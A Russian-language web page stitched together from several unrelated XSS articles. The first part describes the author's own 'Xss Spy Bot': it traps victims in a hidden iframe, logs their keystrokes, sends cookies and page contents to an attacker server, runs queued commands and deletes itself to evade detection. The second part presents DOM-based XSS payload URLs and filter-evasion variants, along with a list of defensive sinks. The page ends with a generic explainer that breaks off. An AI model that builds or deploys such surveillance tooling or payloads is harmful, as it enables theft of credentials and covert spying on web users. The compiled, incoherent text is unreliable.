Xss коды. Easy Hack: Как добыть данные через Cross Site Scripting Inclusion

Всем давно известно, что чаще всего c помощью XSS атакующий пытается отправить Cookie жертвы, прочитать CSRF токены, провести фишинговую атаку (создав фальшивую форму логина), совершить какое-нибудь действие от имени пользователя и некоторые другие близкие по цели атаки (возможно, это не все возможности, но это все наиболее популярные известные мне на данный момент).

Цель этого метода – мониторить страницы от имени пользователя, по которым он переходит на атакуемом сайте, а также мониторить его нажатия клавиш (можно еще движения и клики мышкой, но по мне так это будет лишней, не особо полезной инфой, в большинстве случаев точно).
Теперь по поводу максимальной пользы – я считаю, что алгоритм будет такой:

• читаем и отправляем Cookie;
• читаем и отправляем остальную инфу (IP-адрес, установленные плагины, версия и вид браузера, поддержка flash, поддержка silverlight и пр.) [опционально]
• добываем сведение о внутренней сети, пробиваем роутер [опционально]
• читаем и отправляем разные токены [опционально];
• реализовываем фишинг [опционально];
• делаем что-то “руками”” юзера [опционально];
• продолжаем шпионить за ним и добывать инфу, пока он не закрыл вкладку или не ушел с сайта;

Все опциональные пункты списка имхо должны выполняться в зависимости от ситуации и конкретных приоритетах в целях, которых надо достичь при помощи XSS, они иногда могут мешать друг другу (если попытаться их скомбинировать, точнее выполнить один за другим) и увеличивают вероятности провала эксплуатации XSS.
Но вот первый и последний пункты выполнять стоит всегда, при любом раскладе.Собственно основная часть статьи будет про последний пункт из этого списка.

Начну издалека: через JavaScript есть возможность изменять путь в адресной строке без перезагрузки страницы. Например, если пользователь загрузил страницу по адресу

Но у этой техники есть еще более интересное и мощное применение. Мы будем имитировать юзеру его пребывание на сайте после перехода по ссылке, на самом деле он будет оставаться на одной странице все время, а в это время будет работать сторонний скрипт, добывающий и отсылающий инфу атакующему. Таким образом,XSS будет работать на протяжении всего времени, пока юзер переходит по ссылка на этом домене .

Общий принцип работы такой: когда юзер заходит на страницу с XSS, скрипт создает iframe с таким же адресом, как это страница и “прикрепляет” его на первый план, у пользователя создается впечатление, будто страница загрузилась нормально, ведь iframe можно увидеть только в коде страницы.

А вспомогательный скрипт контролирует логику бота-шпиона, то есть следит за тем, когда во фрейме поменяется адрес, чтобы поменять его в адресной строке, если же в новоизмененном адресе фрейма другой домен, то можно открыть его на новой влкадке, или же придется перезагружать страницу, чтобы не спалиться.
Таким образом, чтобы XSS перестала выполняться в данный момент, юзер должен или обновить страницу вручную (если XSS – Reflected и передавалась методом POST, в остальных случаях обновление не спасет, и кстати некоторые браузеры сейчас при обновлении старницы могут опять отправить POST запрос повторно) или закрыть вкладку или перейти на другой домен (хотя в этом случае еще можно избежать потери управления).

Если он переходит в поддомент атакуемого домена, то тут выбор атакующего, то есть XSS будет работать, но есть небольшая вероятность, что юзер просечет несоответствие между адресом. Думаю, что тут по ситуации, например, если атаковался домен google.ru, юзер перешел в облачный файловый сервис гугла, который обычно лежит в поддомене drive.google.ru, то вероятность того, что он заметит подвох при взгляде в адресную строку довольно высока,если он часто пользовался этим сервисом . Иначе можно и рискнуть. Но надо учесть, что читать его данные из фрейма с поддоменом мы уже не сможем, так как Cross Origin Policy не позволит. Зато можем преспокойно полазить по основному домену от его имени в скрытом режиме (нижу будет об этом поподробнее).

Только у данного метода есть ограничения, а именно – он не будет работать, если в ответах веб-сервера сайта есть заголовокX-Frame-Options со значениемDENY . Но лично я такие сайты встречал буквально пару раз, сейчас даже у половиныSAMEORIGIN не выставлен, не говоря уже о полном ограничении черезDENY .

Сейчас многие наверняка вспомнили такую замечательную штуку, какBeEF , в котором есть тоже очень много интересных вещей. Так кстати тоже есть опция форсированного редиректа юзера во фрейме, вот только адрес в адресной строке не изменяется, что может быстро спалить конторку и эта опция немного для других целей служит.
В целом в BeEF’e есть почти все, что необходимо и даже много дополнительных функций, но лично мне хотелось дополнительного функционала, а именно:

• возможность мониторить код страниц, которые доступны атакуемому юзеру в реальном времени;
• возможность смотреть все, что он набирает на том сайте (от логина и пароля, до хоткейев и сообщений), то есть keylogger на JS;
• возможность давать команды на JS своему боту в реальном времени, после просмотра кода полученных страниц;
• возможность оставлять боту команды локально, чтобы он потом их “забирал” и выполнял без прямого нашего участия;
• более маленькая вероятность спалиться боту, или возможность бота “прятаться” от любопытных глаз;

Как было упомянуто выше – решил позаимствовать у BeEF’a классную идею очереди выполнения комманд. Например, были проанализированы страницы, которые скинул бот, когда привелегированный юзер лазил у себя в панеле управления со stored XSS, мы оставляем боту команды – JS-код, типа в следующий раз когда юзер зайдет, нажми эту кнопку, запиши сюда такое значение и тд, когда этот юзер в следующий раз заходит на страницу, бот читает команды и выполняет их, а нам во все не обязательно быть у его штурвала – очень удобно.

В основном такой бот, конечно расчитан для статусных юзеров каких-нибудь сайтов, у которых есть дополнительные “рычаги” управления контентом, другими юзерами и тд. Из запросов по функционалу видно, что без серверной части не обойтись.

Данную часть статьи в принципе можно пропустить, так как она просто описывает процесс реализации нужного бота и некоторые его детали, на случай, если кто-то захочет его переделать или допилить под себя. Хотя у бота в начале кода будут переменные, через которые можно выставить некоторые настройки.
Сначала алгоритм действий бота с момента загрузки:

1) Проверка наличия заголовкаX-Frame-Options:DENY (если есть, то свертываем удочки);
2) Встраивание фрейма и настройка всех компонентов бота;
3) Удаление скрипта и всех следов в HTML-коде;
4) Налаживание контакта с сверверной частью и начало перессылки данными, реагируя на ответы (получая от сервера команды);

Первый пункт сделал не совсем полноценно, то есть бот проверяет только первую страницу и корневую заголовка. Дело в том, что обычно эти заголовки встраиваются веб-сервером и для всех страниц сразу и очень редко, что для отдельной страницы все делается “вручную”. Да и этот заголовок сам по себе довольно редок. Ну а по второму и третьему особо говорить нечего, ниже все будет.

Есть относительно важный момент, что перед добавлением кода скрипта бота в своем коде надо избавляться от признаков XSS в адресной строке сразу (от JS кода), так как это уменьшает шансы на обнаружение и самое галвное – предотвращает рекурсию, которая возникает при добавлении во фрейм адреса с тем же XSS кодом, который в свою очередь создает еще один фрейм с собой и тд.

Но на всякий случай в коде бота реализована возможность детекта такой фреймовой рекурсии и предотвращения при первой же попытке добавления фрейма в уже созданный, но лучше не надеятся только на нее, а дополнительно удалять код перед загрузкой кода бота. Хотя я проблем еще не встречал.

Функция проверки обновления фрейма. Перепробовал несколько способов экономно решить эту проблему с помощью вешания обработчиков событий наcontentWindow илиcontentDocument , но ничего не удалось, поэтому пришлось писать функцию, которая чекала бы адрес фрейма и сравнивала его с сохраненным до этого, и на основе этого решала, обновиляется ли фрейм (изменился ли адрес) и потом сама себя рекурсивно вызывала.

Частота таких проверок в секунду регулируется переменнойdelay , которая указана в начале файла кода бота. Но позже, уже написав ее, нашел более эффективное решение – использовать простое решение и повеситьonload на фрейм, так что ту функцию я оставил, но закомментировал, на случай, если она потом окажется более востребованной.

Тут схема довольно простоя – после каждой перезагразуки фрейма (включая перую прогрузку) бот отправляет на сервер весь HTML-код страницы вместе с текущем ее адресом, чтобы потом можно было отличать принадлежность кода к нужным страницам.

На сервере реализована логика складирования страниц – сервер для каждого домена создает папку с названием этого домена и туда сохраняем все данные. Коды страниц сохраняются и постоянно обновляются на актуальные версии, но при этом каждый новый день создается уже новая копия страницы, чтобы можно было при необходимости контролировать историю версий. То есть для/news.php 1 сентября состояние будет обновляться, а уже 2 сентября будет создана ее копия, только актуальная уже на этот день и так с каждым днем заново (если юзер посещает эту страницу каждый день). Название страницы состоит из даты и путя до этой страницы относительно корня сайта (то есть без домена).

Идея уже была реализована некоторыми энтузиастами, но для меня их наработки не подходили, хотя бы потому что большинство из них были довольно простыми, то есть детектили код нажатой клавиши и черезString.fromCharCode переводили в символы. Но у такого метода ряд недостатков – управляющие клавиши типа шифта, контрола, пробела и пр, не переводятся ни в какой вид (часто просто в пустой символ), взаимодействие цифро-буквенных клавиш с шифтом некорректно логируется, так как это надо реализовывать программно, а также все нажатые клавиши отображаются в верхнем регистре, что тоже исправлять программно.

В итоге получился кейлоггер, который корректно детектил все клавиши цифр, букв и основных знаков, работая на обоих раскладках, реагирую на шифт и логгируя все основные специальные клавиши. Правда некоторые знаки (в верхней части цифрового ряда, которые печатаются при нажатом шифте и цифре), на некоторых машинах могут отличаться, так как были реализованы по основным стандартом, которые некоторым некоторые компании изменяют.
Каждая порция нажатых символов сохраняется у клиента до тех пор, пока текстовый элемент не потеряет фокус. Далее эта порция отправляется на сервер, где сохраняется в текстовом файле, который также будет создаваться каждый день с новой копией, чтобы не было роста до больших размеров и можно было быстро найти, что юзер набирал в такое время.
По мимо самих клавиш на сервер отправляется с каждой порцией информация об элементе, в котором набирался текст (то есть был ли это, [ или какой-нибудь когда юзер пользовался хоткеями), помимо названия элемента отправляется его основные данные (id, name, class – если они пристутствуют), чтобы его потом можно было легко найти в коде. Ну и конечно же записывается адрес страницы, на которой был набор и примерное время этого набора. В общем информации о стучании юзера по клавиатуре отправляется вполне достаточно для последующего ее разбора.

Этот процесс может осуществляться атакующим или на стороне, где запущет серверная часть бота или даже удаленно. После запуска серверного скрипта, стартует самописный миниатюрный веб-сервер, который обслуживает запросы бота и его контролера, который работает через веб-интерфейс. То есть после запуска веб-сервер выдает ссылку, зайдя по которой можно начать отдавать команды боту.

Об этой панеле управления. Во-превых, надо было ограничить ее паролем (путь и мало кто будет знать о запущенном сервисе на таком-то порту или об адресе, по которому надо зайти, чтобы этим сервисом воспользоваться), так что при первом заходе сервер запросит пароль, который подается в адресной строке (пример будет указан), подлинник пароля храниться вpassword.txt , который можно поменять. После первого захода веб-сервер даст команду браузеру сохранить пароль в cookie, так что дальше об этом можно не беспокоиться.

На самой странички высылания команд боту находится также информация о состоянии бота – онлайн или оффлайн он на данный момент, и пару настроек, первая из которых – хост, то есть IP-адрес или домен сайта, боту которого будут отправлены команды. Это расчитано на случай, если несколько сайтов будут содержать этого бота, чтобы можно было их идентифицировать. На сервере также для этого случая все данные разделены по папкам с названиями доменов.
Далее идет окно, где писать команды боту на JS, и опция, которыя устанавливает, где будет исполняться этот JS-код, на главном окне, где сидит бот или во фрейме – это сделано для удобстве, на всякий случай.

Если бота онлайн нет, то сервер просто сохраняет команды и позже, когда бот выходит в онлайн, то есть юзер снова посещает страничку с ним или переходит по ссылке атакующего – эти команды будут исполнены.
Это очень удобно, если при первой разведке бот скинул все посещенные юзером страницы (например личного кабинета), изучив код которых мы составили команды на JS, чтобы потом бот щелкнул по нужным нам ссылкам, ввел нужные данные, отобразил нужные картинки и пр, что поможет достичь поставленной цели.

А можно прямо в режиме реального вермени, быстро смотреть содержимое страниц через код и отдавать боту команды, чтобы тот прислал код других страниц, перешел по другому адресу и пр. И все это будет делаться “за ширмой” у юзера, который преспокойно будет серфить по сайту чере фрейм.

Для своего удобства можно формировать наиболее часто используемые инструкции в целые функции на JS, которые потом заносить в исходный файл боты (xsb.js , о файловой структуре еще будет ниже) и использовать. Или использовать уже те из функций, который заложены в бота, правда там только основа и ничего нового нет, но например можно воспользоваться функцией отправки кода страницы в любой момент времени, а не тогда, когда перезагружается фрейм. Можно написать функцию, которая будет открывать передаваемые ей ссылки в новых фреймах на заднем плане, чтобы просматривать содержимое стразу нескольких страничек от имени юзера (и оперировать этим содержимое его виртуальными руками).

Ну и последняя возможность реализуется довольно просто (ее можно отключить, задав нужную переменную в файле, они откомментированы). Скрипт, после настройки и вешания всех обработчиков событий, создания всех переменных и функций сам себя удаляет

Ведь все данные уже были загружены в оперативную память через браузер, так что беспокоиться не о чем, но это в теории, может потом и будут какие-то проблемы, которые я не учел, так что я воздал переменну, которой можно отключить эту возможность по необходимости.

После удаления всех скриптов заметить XSS будет крайне сложно, так как наличия фрейма ни говорит об это довольно косвенно, а сам код можно найти разве что в логах истории сетевого трафика браузера (которые не ведуться по умолчению во многих браузерах, если не открыта панель разработчика).

Для более простого и удобного способа запуска бота было решено писать свой маленький веб-сервер на сокетах, который бы обслуживал бота, обеспечивал все операции по принятию и размещению присланных данных, передавал бы сообщения между атакующим и ботом и создавал бы атакующему веб-интерфейс для командования.
Писался сервер на питоне, я тарался использовать только стандартные библиотеки, чтобы не надо было ничего устанавливать перед запуском. Также сервер сам правит некоторые данные в скриптах, то есть в JS-скрипте бота не надо устанавливать адрес командующего сервера, веб-сервер сам выставит туда нужный при запуске. В конфигурирвоании сервера есть толкьо один параметр – порт, на котором он запуститься (по умолчанию 8000).
После запуска сервер выдаст все необходимые данные – ссылку на JS-скрипт, которую надо будет подсунуть, ссылку на панель командования, точнее ссылки – на внешний и локальный адреса, для удобства.

Запускаем сервер на каком-нибудь невостребованном порту и можно рассылать ссылку со скриптом бота, далее все, кто по ней перейдут будут отсылать вам данные, которые сервер будет сохранять в любое время дня. Потом можно просто их просмотреть, если есть необходимость оставить боту команды и дальше заниматься своими делами.

В папке есть следующие файлы:

• xsb.py – основной файл, который реализует серверную часть, для работы бота запускить его, а дальше просто использовать предлагаемую им ссылку;
• xsb.js – здесь храниться JS код бота, ссылку на который выдает сервер, в его начале объявлены конфигурационные переменные, которые можно изменить по своему усмотрению (некоторые, а именно хост и порт сервер выставит потом сам, можно не париться);
• panel.html – отсюда сервер берет код для панели управления ботом, можно подправить интерфейс на свое усмотрение;
• password.txt – тут храниться пароль от панели управления, которые можно поменять;
• savedData – это директория, в которой будут создаваться папки с доменами сайтов, в которые будет сохраняться вся информация.

Еще раз замечу, что в файлеxsb.js можно добавлять свои функции, которые потом вызывать через панель, не расписывая громадные порции кода;

После написания свое придуманного способа удержания юезра на странице с XSS через фреймы (ну как придуманного – я его лично для себя открыл, вполне возможно, что кто-то еще для себя эту же технику “изобретал” или она вообще уже где-то в паблике светилась, ведь сейчас уже разработать что-то по-настоящему новое довольно сложно, и как правило через какое-то время обнаруживаешь, что “это уже было в Симпсонах”) я начал более детально копаться в BeEF’e и читать его wiki. После чего обнаружил, что там была реализована другая техника достижения той же цели – продления времени польователя на странице с исполняемой XSS (которую там именовалиman-in-the-browser ). А реализовывалась так: все ссылки на первоначальной странице изменялись таким образом, что при клике на любую из них скрипт не перезагружал страницу, а через Ajax отправлял запрос на сервер и вставлял полученные в ответе данные, то есть можно сказать искуственно обновлял ее, что было также почти неотличимо от обычного рефреша.

Поэтому мне не первому удалось эту задумку реализовать (пусть даже и способы оказались разными). Но у обоих этих методов есть свои недостатки:

Способ подгрузки через не работает при наличии заголовка в ответеX-Frame-Options:DENY , зато в остальном пашет, как обычное окно браузера;

Способ подругзки через ajax работает всегда, если браузер поддерживает это (сейчас все основные барузеры поддерживают), но при этом с новым стандартом Web 2.0 все больше и больше переходов инициируется кастомными событиями любых элементов через JS. Однажды зашел наGoogle AdWords и решил посмотреть, как там у них HTML и JS взаимодействуют, потому что все мои спайдеры крайне плохо справлялись с созаднием карты этого сервиса. И я тихо охреневал весь вечер, насколько там все не привычно было, когда текстовые элементы являлись и кнопками и свитчерами и слайдерами и чем только не изображались, и на каждом висело где-то по 30 обработчиков разных событий.

То есть на навороченном сайте кнопка перехода (субъективно ссылка) будет реализована через обычный тег , который нагружен стилями и на которого навешано обработчиков событий, один из которых, например,onclick перенаправляет юзера на другую страницу. Также есть стандартные элементы типа [i] или сам и пр., которые тоже фактически являются ссылками на другие страницы, но на которые BeEF реагировать не будет и страница просто не будет обновляться при клике на большинство кнопок и других элементов. Что может побудить пользователя обновить страницу или перезайти “с другой стороны”, что убивает нашу активную XSS-сессию.

Для краткости именования файлов назвал его – Xss Spy Bot.

P.S.
Все это дело писалось чуть больше месяца в силу периодической нехватки времени и постоянных отвлекающих факторов. Так же из-за этого и качетсво кода и вероятность нарваться на какой-нибудь баг довольно высока. Так что прошу особо не ругаться, а отписываться, что у кого не так, чтобы можно было это исправить.
Сам я протестировал бота только на 4 машинах, на всех стоял Debian.

В дальних планах на этого бота, если будет мотивация:
– реализовать рендеринг кода страниц, которые бот присылает на сервер, чтобы сразу в браузере открывался и его можно было “щупать”, тестить на лету;
– попробоват словить плюшек с технологии WebRTC, то есть найти способы добыть новую информацию, которая чистым JS не вытягивается;
– реализовать общение бота и сервера по протоколу WebSocket поверх HTTP;
– добавить некоторые удобства на панель управления;

Все мы знаем, что такое межсайтовый скриптинг, правда? Это уязвимость, при которой атакующий посылает злонамеренные данные (обычно это HTML, содержащий код Javascript), которые позднее возвращаются приложением, что вызывает исполнение Javascript кода. Итак, это неверно! Существует тип XSS атак не соответствующий этому определению, по крайней мере, в основных фундаментальных принципах. XSS атаки, определение которых приведено выше, подразделяются на моментальные (злонамеренные данные встраиваются в страницу, которая возвращается браузеру сразу же после запроса) и отложенные (злонамеренные данные возвращаются через некоторое время). Но есть еще третий тип XSS атак, в основе которого не лежит отправка злонамеренных данных на сервер. Несмотря на то, что это кажется противоречащим здравому смыслу, есть два хорошо описанных примера такой атаки. Эта статья описывает третий тип XSS атак – XSS через DOM (DOM Based XSS). Здесь не будет написано ничего принципиально нового об атаке, скорее новшество этого материала в выделении отличительных черт атаки, которые являются очень важными и интересными.

Разработчики и пользователи прикладных приложений должны понимать принципы атаки XSS через DOM, так как она представляет угрозу для web приложений и отличается от обычного XSS. В сети интернет есть много web приложений уязвимых к XSS через DOM и при этом проверенных на XSS и признанных “неуязвимыми” к этому типу атак. Разработчики и администраторы сайтов должны ознакомиться с методами обнаружения и защиты от XSS через DOM, так как эти методики отличаются от приемов, используемых при работе со стандартными XSS уязвимостями.

Читатель должен быть знаком с основными принципами XSS атак (, , , , ). Под XSS обычно подразумевается моментальный () и отложенный межсайтовый скриптинг. При моментальном XSS злонамеренный код (Javascript) возвращается атакуемым сервером немедленно в качестве ответа на HTTP запрос. Отложенный XSS означает, что злонамеренный код сохраняется на атакуемой системе и позднее может быть внедрен в HTML страницу уязвимой системы. Как было упомянуто выше, такая классификация предполагает, что фундаментальное свойство XSS состоит в том, что злонамеренный код отсылается из браузера на сервер и возвращается в этот же браузер (моментальный XSS) или любой другой браузер (отложенный XSS). В этой статье поднимается вопрос о том, что это неверная классификация. Возможность осуществления XSS атаки, не основывающейся на внедрении кода в страницу, возвращаемую сервером, оказала бы серьезное влияние на методы защиты и обнаружения. Принципы таких атак обсуждаются в этой статье.

Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов).

Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL. Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы.

Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html ):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system …

Однако запрос наподобие этого –

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

Замечания:

1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

В примере выше злонамеренный код все еще передается на сервер (как часть HTTP запроса), поэтому атака может быть обнаружена, так же как и любая другая XSS атака. Но это решаемая проблема.

Рассмотрим следующий пример:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Обратите внимание на символ ‘#’ справа от имени файла. Он говорит браузеру, что все после этого символа не является частью запроса. Microsoft Internet Explorer (6.0) и Mozilla не отправляет фрагмент после символа ‘#’ на сервер, поэтому для сервера этот запрос будет эквивалентен http://www.vulnerable.site/welcome.html, т.е. злонамеренный код даже не будет замечен сервером. Таким образом, благодаря этому приему, браузер не отправляет злонамеренную полезную нагрузку на сервер.

Но все же в некоторых случаях невозможно скрыть полезную нагрузку: в и злонамеренная полезная нагрузка является частью имени пользователи (username) в URL типа http://username@host/. В этом случае браузер отправляет запрос с заголовком Authorization, содержащий имя пользователи (злонамеренная полезная нагрузка), в результате чего злонамеренный код попадает на сервер (закодированный с помощью Base64 – следовательно IDS/IPS для обнаружения атаки должны вначале декодировать эти данные). Однако сервер не обязан внедрять эту полезную нагрузку в одну из доступных HTML страниц, хотя это является необходимым условием выполнения XSS атаки.

Очевидно, что в ситуациях, когда полезная нагрузка может быть полностью скрыта, средства обнаружения (IPS) и предотвращения (IPS, межсетевые экраны для web приложений) не могут полностью защитить от этой атаки. Даже если полезную нагрузку нужно отсылать на сервер, во многих случаях для избежания обнаружения она может быть преобразована определенным образом. Например, если какой-то параметр защищен (к примеру, параметр name в примере выше), небольшое изменение сценария атаки может принести результат:

(document.cookie)

Более строгая политика безопасности требовала бы обязательной отсылки параметра name. В этом случае вы может сделать следующий запрос:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Если политика безопасности ограничивает дополнительные имена параметров (например: foobar), можно использовать следующий вариант:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Обратите внимание, что игнорируемый параметр (foobar) должен идти первым и в своем значении содержать полезную нагрузку.

Сценарий атаки, описанный в , еще более предпочтителен для атакующего, так как в HTML страницу пишется полное значение document.location (Javascript код не производит поиск специфичного имени параметра). Таким образом, атакующий может полностью скрыть полезную нагрузку, отправив следующее:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Даже если полезная нагрузка анализируется сервером, защита может гарантироваться только в том случае, если запрос будет отклонен или ответ будет заменен на некоторый текст ошибки. Обратимся снова к и : если заголовок Authorization будет просто удален промежуточной системой защиты, это не принесет никакого эффекта, если будет возвращена оригинальная страница. Аналогично любая попытка обработки данных на сервере, путем удаления или кодирования запрещенных символов, будет неэффективна против этой атаки.

В случае с document.referrer, полезная нагрузка отсылается на сервер через заголовок Referer. Однако если браузер пользователя или промежуточная защита удалит этот заголовок — не останется никаких следов атаки, которая можно пройти полностью незамеченной.

Подводя итоги, делаем вывод, что традиционные методы, а именно

1. Кодирование данных HTML на стороне сервера
2. Удаление/кодирование запрещенных входных данных на стороне сервера не работают против DOM XSS.

Автоматический поиск уязвимости путем “бомбардировки” злонамеренными данными (иногда называемый fuzzing) не будет работать, так как программы, использующие эту методику, обычно делают выводы на основе того, присутствуют ли внедренные данные в возвращенной странице или нет (вместо выполнения кода в контексте браузера на стороне клиента и наблюдения за результатами). Однако, если программа может статически анализировать код Javascript, обнаруженный на странице, она может указать на подозрительные признаки (см. ниже). И конечно, если средства защиты могут исполнять код Javascript (и корректно инициализировать DOM объекты) или эмулировать такое исполнение, они смогут обнаружить эту атаку.

Ручной поиск уязвимости с помощью браузера также будет работать, так как браузер может выполнять клиентский код Javascript. Средства поиска уязвимостей могут принять на вооружение этот метод и выполнять код на стороне клиента для слежения за результатами его выполнения.
Эффективная защита

Избегать перезаписи документа на стороне клиента, переадресацию или другие подобные действия, использующие данные на стороне клиента. Большинство этих действий может быть выполнено с использованием динамических страниц (на стороне сервера).
2.

Анализ и повышение защищенности кода (Javascript) на стороне клиента. Ссылки на объекты DOM, на которые может влиять пользователь (атакующий), должны быть тщательно проверены. Особое внимание нужно уделять следующим объектам (но не ограничиваться ими):
* document.URL
* document.URLUnencoded
* document.location (и его свойства)
* document.referrer
* window.location (и его свойства)

Обратите внимание: на свойства объектов document и window можно сослаться несколькими способами: явно (пример — window.location), неявно (пример — location) или через получения дескриптора и использования его (пример — handle_to_some_window.location).

Особое внимание нужно уделить коду, где модифицируется DOM, явно или есть потенциальная возможность, а также через прямой доступ к HTML или через доступ непосредственно к DOM. Примеры (это ни в коем случае не исчерпывающий список):
* Запись в HTML код страницы:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Изменение DOM напрямую (включая события DHTML):
o document.forms.action=… (и другие вариации)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ к DOM через объект body)
o window.attachEvent(…)
* Изменение URL документа:
o document.location=… (а также присвоение значений href, host и hostname объекта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Открытие/модификация объекта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а также присвоение значения host и hostname объекта location)
* Выполнение скрипта напрямую:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Через XSS опытные злоумышленники интегрируют в страницы сайтов-жертв работающие на них скрипты, выполняемые в момент посещения зараженных ресурсов. Существует несколько видов XSS-уязвимостей, представляющих различную степень опасности.

Наиболее осторожно стоит относиться к активной уязвимости. Когда злоумышленник внедряет свой SQL-код в доступную базу либо файл на сервер, жертвой может стать каждый посетитель зараженного ресурса. Такие места часто интегрируются, поэтому даже обработанные вашей защитой данные, хранящиеся в БД, могут по-прежнему представлять определенную опасность.

Создание пассивной XSS-уязвимости требует от злоумышленника определенной изобретательности. Либо вас заманивают на подставной ресурс всевозможными ссылками, либо пытаются любыми способами переадресовать на требуемый сайт. Обычно это происходит через письма от вымышленной администрации посещаемой вами страницы, с запросами проверки настроек аккаунта. Также активно используется разнообразные спам-рассылки или посты на широко посещаемых форумах.

Пассивная XSS-уязвимость может исходить как от POST так и от GET-параметров. Для первых характерен ряд различных ухищрений, для вторых – кодировка url-строки либо вставка дополнительных значений.

Чаще всего именно ваши Cookies становятся целью проводимой XSS атаки. Иногда в них остается ценная информация, включающая логины и пароли пользователей либо их хэш. Но достаточно опасны и совершения краж активных сессий важных для вас сайтов, поэтому не стоит забывать нажимать на кнопку «выход» даже при посещении сайтов с домашнего компьютера. Хотя большинство ресурсов для предотвращения подобных действий используют автоматическое ограничение длительности сессии. Доменные же ограничения XMLHttpRequest от таких атак не спасают.

Пользуется популярностью и считывание информации в заполняемых формах. Для этого на вызывающих интерес страницах выполняется отслеживание событий (onsubmit), а все предоставляемые данные пересылаются также и на сервера злоумышленников. Такие атаки во многом схожи с фишинговыми, но кража происходит не на поддельном, а на реальном сайте с хорошей репутацией.

Для атак через XSS используются и многопосещаемые ресурсы. Благодаря XSS-уязвимости выполняется переадресация приходящих на них запросов на взламываемый сервер, в результате чего его защита не выдерживает.

У них также мало общего с XSS. Это отдельная разновидность уязвимостей, используемых в сочетании с XSS. Их целью является завлечение авторизованного пользователя с неуязвимого сайта на подставную уязвимую страницу для проведения обманных операций. Например, клиента, использующего электронную систему платежей, выманивают на уязвимый сайт, переводящий деньги на счета злоумышленников. Поэтому в большинстве платежных систем предусмотрена защита путем дополнительного введения пароля либо подтверждающего операцию кода.

Такая XSS атака на сайт появилась с развитием известных соцсетей (Вконтакте, Twitter и других). Через них целые группы пользователей получают уязвимые XSS ссылки с интегрированными скриптами, рассылающими по сетям спам от их имени. Также широко практикуется и попутное копирование личной информации и фотографий на ресурсы злоумышленников.

Заметим, что многие типы счетчиков также выполняют роль активных XSS. С них ведется передача данных о регистрирующихся посетителях (их IP-адреса, данные об используемом оборудовании).

Только данный код интегрируется у вас в компьютере по вашей же воле. К другим подобным XSS можно смело отнести целый ряд кроссдоменных AJAX-запросов.

Что такое XSS-уязвимость? Стоит ли ее опасаться?

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости. Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия.

Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Рисунок 1. Форма ввода данных

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья». Именно для таких целей имена пользователей хранятся в базе данных.

